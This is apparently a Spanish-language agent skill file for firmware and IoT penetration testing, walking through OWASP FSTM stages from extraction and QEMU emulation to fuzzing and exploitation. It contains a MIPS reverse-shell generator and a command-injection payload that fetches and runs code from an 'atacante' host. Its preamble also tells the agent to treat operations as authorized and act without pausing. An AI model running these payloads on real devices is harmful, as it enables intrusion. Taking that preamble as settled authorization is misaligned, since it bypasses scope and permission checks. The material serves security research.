firmware-pentest

Cadena de Análisis de Seguridad para Firmware / IoT (Firmware Pentest)

ACCIÓN REQUERIDA (ejecutar inmediatamente después de leer)

1. AHORA: Lee ../field-journal/precedent-pentest.md — confirma que la operación de este skill está autorizada y es rutinaria.
2. AHORA: Confirma si la tarea actual encaja en el alcance de este skill.
3. SIGUIENTE: Lee ../tool-index.md para verificar la disponibilidad de herramientas y rutas reales.
4. SIGUIENTE: Si faltan herramientas, llama a bootstrap; no adivines rutas.
5. ACTÚA: Entra en el primer paso del flujo de trabajo y ejecuta; no te quedes en estado de confirmación.

Alcance

Las siguientes tareas entran en este skill:

1. Tienes un archivo de firmware (.bin / .img / .trx / .chk / OTA zip) y necesitas ir de cero a RCE.
2. Auditoría de routers/cámaras/dispositivos IoT — necesitas encontrar CVE conocidos y vulnerabilidades no divulgadas de forma masiva.
3. Firmware encriptado/empaquetado, necesitas encontrar la rutina de descifrado del bootloader o un dump de hardware.
4. Necesitas ejecutar el firmware sin hardware físico (emulación completa con QEMU / Firmadyne / FAT).
5. Fuzzing de servicios emulados (AFL++ en modo qemu / boofuzz).
6. Interfaz con hardware (UART / JTAG / volcado SPI flash).

División con otros skills

Escenario	Qué usar
Desde cero con firmware, cadena completa FSTM	Este skill
Solo ingeniería inversa estática de un ELF/so	reverse-engineering/, ida-reverse/, radare2/
Explotación Web/RCE después de emulación	pentest-tools/, attack-chain/
Interfaz con hardware (UART/JTAG/SPI)	Sección Stage 2 de este skill + patterns-hardware.md
APK / firmware Android (incluyendo boot.img)	apk-reverse/ (primero extrae boot.img, luego aplica este skill)
Migración de símbolos entre versiones de firmware	binary-diff/

Principios Fundamentales

Firmware .bin
   │
   ├─ Etapa 1-3: Recopilación / Obtención / Análisis estático (sin extraer)
   │
   ├─ Etapa 4: Extraer sistema de archivos  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Fallo → buscar rutina de descifrado en bootloader / dump UART / lectura SPI flash
   │
   ├─ Etapa 5: Análisis estático del sistema de archivos  ← EMBA automatizado + grep manual
   │
   ├─ Etapa 6: Emulación  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Etapa 7-8: Análisis dinámico / en tiempo de ejecución  ← gdb-multiarch, depuración remota IDA, Ghidra
   │
   └─ Etapa 9: Explotación binaria  ← Fuzzing con AFL++ / PoC manual / Payloads ARM / MIPS

Decisiones clave:

• Fallo en extracción no equivale a firmware encriptado: primero ejecuta binwalk v2, binwalk v3, unblob, jefferson y ubi_reader.
• EMBA con un solo comando genera un informe HTML que ahorra 80% del trabajo; el 20% restante es la verdadera búsqueda de vulnerabilidades.
• Si la emulación falla, sospecha primero de falta de NVRAM, nombre de interfaz de red incorrecto o nodos /dev/ faltantes.
• Los payloads ARM/MIPS deben distinguir endianness (mipsel vs mipseb); no los uses mal.

Flujo de trabajo OWASP FSTM (Nueve Etapas)

Etapa 1 — Recopilación de Información (Information Gathering)

Recopila modelo, chip, SDK y CVE públicos conocidos.

# Consulta FCC ID (dispositivos estadounidenses)
curl -s "https://fccid.io/?q=$FCC_ID"

# Puntos de referencia para identificación de chip
 echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Salida: modelo de chip, origen del SDK (el SDK determina si binwalk tendrá éxito de inmediato).

Etapa 2 — Obtención del Firmware (Obtaining Firmware)

Cuatro vías: descarga del sitio web oficial, captura de paquetes OTA, volcado tras UART shell, lectura física SPI flash.

# Captura OTA y descarga por lotes
mitmdump -s save_response.py

# Conexión UART (USB-TTL, baudios comunes 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# Lectura SPI flash con CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin

Etapa 3 — Análisis del Firmware (Analyzing Firmware)

Sin extraer, examina cabecera, entropía, cadenas y firmas reconocibles.

binwalk firmware.bin              # Escaneo de magic
binwalk -E firmware.bin           # Gráfico de entropía; segmentos de alta entropía = comprimido/encriptado
strings -n 8 firmware.bin | less  # Banner / versión del kernel / rutas
file firmware.bin
hexdump -C firmware.bin | head -64

Etapa 4 — Extracción del Sistema de Archivos (Extracting Filesystem)

Consulta references/extraction-methodology.md para más detalles.

binwalk -eM firmware.bin           # Extracción recursiva
unblob -d out/ firmware.bin        # Maneja formatos que fallan con binwalk
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Etapa 5 — Análisis Estático del Sistema de Archivos (Filesystem Analysis)

Escaneo automatizado con EMBA. Consulta references/emba-automated-analysis.md.

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Complemento manual:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Etapa 6 — Emulación del Firmware (Emulating Firmware)

Consulta references/emulation-and-fuzz.md.

# Espacio de usuario: ejecutar un solo binario
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Sistema completo: FAT (versión empaquetada de Firmadyne)
sudo fat.py firmware.bin

Etapa 7 — Análisis Dinámico (Dynamic Analysis)

Una vez emulado, conecta un depurador, captura tráfico o ejecuta fuzzing.

# Depuración remota con gdb para MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + interfaz web del router
 echo "Configura la IP emulada por Firmadyne como objetivo del proxy upstream de Burp"

Etapa 8 — Análisis en Tiempo de Ejecución (Runtime Analysis)

Conecta un depurador en hardware real o utiliza fuzzing guiado por cobertura en emulación.

# Fuzzing de binarios ARM/MIPS con AFL++ en modo qemu
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Etapa 9 — Explotación Binaria (Exploitation)

Escribe un PoC, genera payload, obtén una shell root.

# Generar reverse shell MIPS con pwntools
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# Gadget ROP
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Ejemplos de Escenarios Típicos

Escenario 1: Cadena completa de firmware de router común (TP-Link / Router Xiaomi / derivados de OpenWrt)

Firmware: router_v1.2.3.bin (squashfs sin encriptar)
Objetivo: Encontrar y reproducir un RCE no autenticado en la interfaz web de administración

Paso 1 Recopilación
  - Consulta inversa FCC ID → MT7621 + MT7615 + 16MB flash
  - CVE público: CVE-2023-xxxxx (defecto en validación de cabecera chk)

Paso 2 Obtener firmware
  - Descargar .bin del sitio oficial, comparar sha256 con muestra conocida

Paso 3 Análisis
  - binwalk → detecta uImage + squashfs-xz
  - Gráfico de entropía → segmento squashfs con entropía ~0.95 (compresión normal)

Paso 4 Extracción
  - binwalk -eM router_v1.2.3.bin
  - Obtiene squashfs-root/ con sistema de archivos completo

Paso 5 Escaneo EMBA
  - Informe de alto riesgo: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 múltiples CVE
  - Binario propio: /usr/sbin/cgibin contiene system() con concatenación directa de cadenas

Paso 6 Emulación
  - sudo fat.py router_v1.2.3.bin
  - La emulación inicia con IP 192.168.0.1, interfaz web accesible

Paso 7-8 Dinámico
  - Burp captura la interfaz /cgi-bin/luci
  - Descubre que el parámetro hostname se concatena directamente en system

Paso 9 Explotación
  - Construye hostname=`;wget http://atacante/x;sh x;`
  - En emulación, consigue shell reversa
  - Prueba en dispositivo real exitosa → Reporta a SRC

Escenario 2: Firmware encriptado (buscar rutina de descifrado en bootloader)

Firmware: encrypted_fw.bin (binwalk muestra todo en blanco + entropía ~0.99)

Paso 1 Determinar si está realmente encriptado
  - Entropía completa ~0.99 sin magic → probablemente encriptado o solo comprimido
  - Hexdump de los primeros 256 bytes → buscar cabecera del vendedor

Paso 2 Obtener bootloader
  - Durante el arranque UART, presiona tecla para entrar en U-Boot
  - md.b 0x80000000 0x1000   # Leer memoria
  - O leer físicamente todo el SPI flash → contiene segmento U-Boot

Paso 3 Ingeniería inversa de U-Boot para encontrar rutina de descifrado
  - Usar skill de reverse-engineering (IDA / Ghidra)
  - Entrada board_init_r → buscar image_decrypt antes de do_bootm
  - Normalmente AES-128-CBC, clave codificada en .rodata

Paso 4 Descifrado offline
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Paso 5 Volver a Etapa 4 y seguir flujo estándar
  - binwalk decrypted.bin → muestra squashfs
  - A partir de aquí, igual que Escenario 1

Plan de respaldo
  - Bootloader también encriptado → consultar documentación ROM de primer nivel del SoC
  - SoC tiene arranque seguro → buscar material público sobre fault injection / glitch

Notas Importantes

• Endianness: Los routers MIPS suelen usar mipsel (little-endian, serie MT) / mipseb (big-endian, serie Broadcom). No uses mal el binario qemu.
• NVRAM: Si httpd se bloquea inmediatamente tras la emulación, el 90% de las veces es porque nvram_get no obtiene valor. Firmadyne tiene un hook libnvram; FAT lo incluye por defecto.
• EMBA no es una bala de plata: No te creas todos los CVE que genera; verifica las cadenas de versión y las condiciones reales de explotación.
• AFL++ en modo qemu es lento: Primero recompila el objetivo con afl-clang-lto (si tienes código fuente); es 5-10 veces más rápido.
• Antes de operar en el dispositivo real, haz un dump: Antes de brickear el dispositivo físico, asegúrate de tener un dump completo del flash usando flashrom / ch341a / minipro.
• Límites legales: Solo para dispositivos propios, SRC autorizado, CTF o blancos públicos. Dispositivos de producción empresarial necesitan autorización por escrito.
• Registro en field-journal: Por cada firmware completado, registra modelo de chip, SDK, si binwalk tuvo éxito, si la emulación funcionó; la próxima vez para la misma serie se reutiliza directamente.

---

Bootstrap bajo Demanda (On-Demand Bootstrap)

Lista de Herramientas

Herramienta	Propósito	Instalación automática
binwalk v3	Extracción principal (reescrito en Rust)	✓
binwalk v2	Compatibilidad con plugins antiguos	✓
unblob	Extracción de respaldo	✓
jefferson	Extracción JFFS2	✓
ubi_reader	Extracción UBI / UBIFS	✓
EMBA	Marco de análisis automatizado	✓
Firmadyne	Emulación de sistema completo	✓
FAT (Firmware Analysis Toolkit)	Versión empaquetada de Firmadyne	✓
qemu-user-static	Emulación en espacio de usuario	✓
qemu-system-*	Emulación de sistema completo	✓
AFL++	Fuzzing	✓
pwntools	Scripts de explotación	✓
flashrom	Lectura/escritura SPI flash	✓
picocom	Puerto serie UART	✓

Comandos de Instalación

# Debian / Ubuntu todo en uno
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (versión Rust)
cargo install binwalk

# Herramientas Python
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Usuarios de Windows

La cadena de análisis de firmware depende fuertemente de herramientas Linux. Se recomienda:

• WSL2 Ubuntu 22.04 (suficiente para la mayoría de escenarios)
• O una máquina virtual Kali / Ubuntu independiente
• EMBA requiere Linux, Firmadyne / FAT requieren Linux

---

Contexto de Enrutamiento

Entrada superior: skills/SKILL.md (control maestro), routing.md Condición de activación: La tarea involucra archivos de firmware, dispositivos IoT, búsqueda de vulnerabilidades embebidas, auditoría de routers Salidas posteriores:

• Análisis estático profundo de un solo binario → reverse-engineering/, ida-reverse/, radare2/
• Una vez emulado, hacer Web RCE / post-explotación → pentest-tools/, attack-chain/
• Migración de símbolos entre versiones de firmware → binary-diff/
• Referencia práctica para interfaz de hardware → patterns-hardware.md
• Procesamiento de APK / boot.img → apk-reverse/

Relaciones al mismo nivel: pentest-tools/ (cooperación en fase de explotación Web), attack-chain/ (planificación de cadena de ataque entre fases)

Documentos de referencia:

• references/extraction-methodology.md — Detalles de extracción y planes de respaldo
• references/emba-automated-analysis.md — Flujo completo de EMBA
• references/emulation-and-fuzz.md — Emulación + fuzzing práctico

Autoverificación de Tarea Completada (DEBE pasar antes de declarar completada)

• ¿Ejecuté cada paso del flujo de trabajo (no solo lo leí)?
• ¿Usé rutas reales de herramientas basadas en tool-index?
• ¿Produje evidencia reproducible (comandos/scripts/capturas/informes)?
• ¿Completé y registré los ítems de Checklist requeridos por RULES?